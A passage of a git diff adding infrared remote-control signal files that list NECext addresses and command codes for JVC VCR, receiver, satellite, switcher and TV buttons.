00 00 +command: 25 00 00 00 +# +name: VCR1_5 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 25 00 00 00 +# +name: VCR_5 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 25 00 00 00 +# +name: VCR_10KEY_6 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: VCR1_6 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: VCR_6 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: VCR_10KEY_7/P +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: VCR_10KEY_7 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: VCR1_7 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: VCR_7 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: VCR1_7/P +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: VCR_10KEY_8 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: VCR1_8 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: VCR_8 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: VCR_10KEY_9 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: VCR1_9 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: VCR_9 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: VCR_10KEY_0 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: VCR_10KEY_10 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: VCR1_0 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: VCR_0 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: VCR_+10 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3E 00 00 00 +# +name: VCR_REC/PLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: VCR_REC-PLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: VCR_REC +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: VCR1_REC +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: VCR_REC_(REC+PLAY) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: VCR1_PLAY/REC +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: VCR_REC/PAUSE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CD 00 00 00 +# +name: VCR_REC-PAUSE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CD 00 00 00 +# +name: VCR_REC-PAUSE/STILL +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CD 00 00 00 +# +name: VCR_REC/PAUSE/STILL +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CD 00 00 00 +# +name: VCR_REC/STANDBY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CD 00 00 00 +# +name: VCR_REC/PAUSE_STILL +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/83,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/83,-1.ir new file mode 100644 index 000000000..8a11c2d05 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/83,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR2_STOP_(-_[]) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 03 00 00 00 +# +name: VCR2_STOP_[] +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 03 00 00 00 +# +name: VCR2_FFWD_(>_>>) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 06 00 00 00 +# +name: VCR2_FFWD_>> +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 06 00 00 00 +# +name: VCR2_REW_(<_<<) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 07 00 00 00 +# +name: VCR2_REW_<< +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 07 00 00 00 +# +name: VCR2_POWER_(ON/OFF) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 0B 00 00 00 +# +name: VCR2_PLAY_(+_>) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 0C 00 00 00 +# +name: VCR2_PLAY_> +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 0C 00 00 00 +# +name: VCR2_PAUSE_() +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 0D 00 00 00 +# +name: VCR2_PAUSE_ +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 0D 00 00 00 +# +name: VCR2_PRESET_CH_- +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 18 00 00 00 +# +name: VCR2_PRESET_CH_+ +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 19 00 00 00 +# +name: VCR2_1 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 21 00 00 00 +# +name: VCR2_2 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 22 00 00 00 +# +name: VCR2_3 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 23 00 00 00 +# +name: VCR2_4 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 24 00 00 00 +# +name: VCR2_5 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 25 00 00 00 +# +name: VCR2_6 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 26 00 00 00 +# +name: VCR2_7 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 27 00 00 00 +# +name: VCR2_7/P +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 27 00 00 00 +# +name: VCR2_8 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 28 00 00 00 +# +name: VCR2_9 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 29 00 00 00 +# +name: VCR2_0 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 33 00 00 00 +# +name: VCR2_REC +type: parsed +protocol: NECext +address: 53 00 00 00 +command: CC 00 00 00 +# +name: VCR2_PLAY/REC +type: parsed +protocol: NECext +address: 53 00 00 00 +command: CC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/S-VHS/67,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/S-VHS/67,-1.ir new file mode 100644 index 000000000..2725ebeac --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/S-VHS/67,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: STOPP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: SPOLA_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: SPOLA_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: POWER_ON-OFF +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0B 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: GER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: NSTER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: CURSOR_NER/CH- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CURSOR_UPP/CH+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 25 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: 0/AUX +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/0,0.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/0,0.ir new file mode 100644 index 000000000..2564a08c6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/0,0.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: SATELLITE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/16,0.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/16,0.ir new file mode 100644 index 000000000..a54599309 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/16,0.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1A 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/24,0.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/24,0.ir new file mode 100644 index 000000000..cd70bec5b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/24,0.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: INFO +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 00 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 02 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0B 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 14 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 15 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 18 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1B 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1C 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1E 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1F 00 00 00 +# +name: PAGE+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 22 00 00 00 +# +name: PAGE- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 23 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/8,0.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/8,0.ir new file mode 100644 index 000000000..2f4d53b89 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/8,0.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: VIEW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 19 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1D 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Switcher/243,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Switcher/243,-1.ir new file mode 100644 index 000000000..37009402a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Switcher/243,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: OUTPUT_MONITOR +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 90 00 00 00 +# +name: MONITOR_1 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 91 00 00 00 +# +name: MONITOR_2 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 92 00 00 00 +# +name: MONITOR_3 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 93 00 00 00 +# +name: MONITOR_4 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 94 00 00 00 +# +name: MONITOR_5 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 95 00 00 00 +# +name: MONITOR_6 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 96 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 97 00 00 00 +# +name: MONITOR_7 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 98 00 00 00 +# +name: MONITOR_OUT_Y/C +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 9B 00 00 00 +# +name: SOURCE_1 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A1 00 00 00 +# +name: SOURCE_2 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A2 00 00 00 +# +name: SOURCE_3 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A3 00 00 00 +# +name: SOURCE_4 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A4 00 00 00 +# +name: SOURCE_5 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A5 00 00 00 +# +name: SOURCE_6 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A6 00 00 00 +# +name: SOURCE_7 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A7 00 00 00 +# +name: DUAL_OPERATION +type: parsed +protocol: NECext +address: F3 00 00 00 +command: AA 00 00 00 +# +name: KEY_LOCK +type: parsed +protocol: NECext +address: F3 00 00 00 +command: AB 00 00 00 +# +name: PROCESSOR_VIDEO +type: parsed +protocol: NECext +address: F3 00 00 00 +command: AC 00 00 00 +# +name: PROCESSOR_AUDIO +type: parsed +protocol: NECext +address: F3 00 00 00 +command: AD 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: F3 00 00 00 +command: AE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/TV/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/TV/15,-1.ir new file mode 100644 index 000000000..2b7d136c6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/TV/15,-1.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: SELECT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 11 00 00 00 +# +name: MULTISCREEN_SELECT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 11 00 00 00 +# +name: DIGITAL_2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 17 00 00 00 +# +name: VIDEO_5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1B 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/TV/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/TV/3,-1.ir new file mode 100644 index 000000000..dda56253f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/TV/3,-1.ir @@ -0,0 +1,698 @@ +Filetype: IR signals file +Version: 1 +# +name: MAIN/SAP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 00 00 00 00 +# +name: SLEEP_TIMER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: RETURN+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0A 00 00 00 +# +name: ENTER/OK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0A 00 00 00 +# +name: OK/SELECT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0A 00 00 00 +# +name: ANT/CABLE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: A/V_RESET +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: AV_STATUS/RESET +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: VIDEO_STATUS +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: CLOSED_CAPTION +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: CLOSE_CAPTION +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 10 00 00 00 +# +name: ANT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 10 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: VIDEO1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: VIDEO2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: INPUT_SOURCE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: TV_TV/VIDEO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 14 00 00 00 +# +name: INPUT3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 14 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 14 00 00 00 +# +name: VIDEO3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 14 00 00 00 +# +name: DIGITAL_IN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 15 00 00 00 +# +name: DIGITAL_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 15 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: POWER_(TOGGLE) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: CHAN_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: TV_CH_V +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: CHAN_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: TV_CH_^ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1A 00 00 00 +# +name: POWER_OFF_(ALT.) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1A 00 00 00 +# +name: POWER_OFF_(2) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1A 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: INPUT4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: VIDEO4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1D 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: TV_VOL_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: VOL_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: TV_VOL_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: TV_0_(AUX) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: TV_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: TV_8_(DAILY_M-F) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: TV_9_(WEEKLY) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: RECALL_CHOICE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3C 00 00 00 +# +name: BIPHONIC +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 41 00 00 00 +# +name: HYPER_SURROUND +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 42 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 42 00 00 00 +# +name: VNR +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 45 00 00 00 +# +name: CURSER_RIGHT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5A 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5A 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5A 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5A 00 00 00 +# +name: CURSER_LEFT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5B 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5B 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5B 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5B 00 00 00 +# +name: NOTCH +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 74 00 00 00 +# +name: 100+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 77 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7A 00 00 00 +# +name: CURSER_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7B 00 00 00 +# +name: FORWARD/DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7B 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7B 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7C 00 00 00 +# +name: BACK/UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7C 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7C 00 00 00 +# +name: MULTISCREEN_FREEZE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 80 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 80 00 00 00 +# +name: MULTISCREEN_INDEX +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 82 00 00 00 +# +name: MULTISCREEN_SWAP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 89 00 00 00 +# +name: MULTILSCREEN_TWIN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 8B 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 93 00 00 00 +# +name: ASPECT_RATIO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 93 00 00 00 +# +name: THEATRE_PRO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: D5 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: E6 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: E6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/TV/31,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/TV/31,-1.ir new file mode 100644 index 000000000..7da06e109 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/TV/31,-1.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: VIDEO_A +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: D1 00 00 00 +# +name: VIDEO_B +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: D2 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext 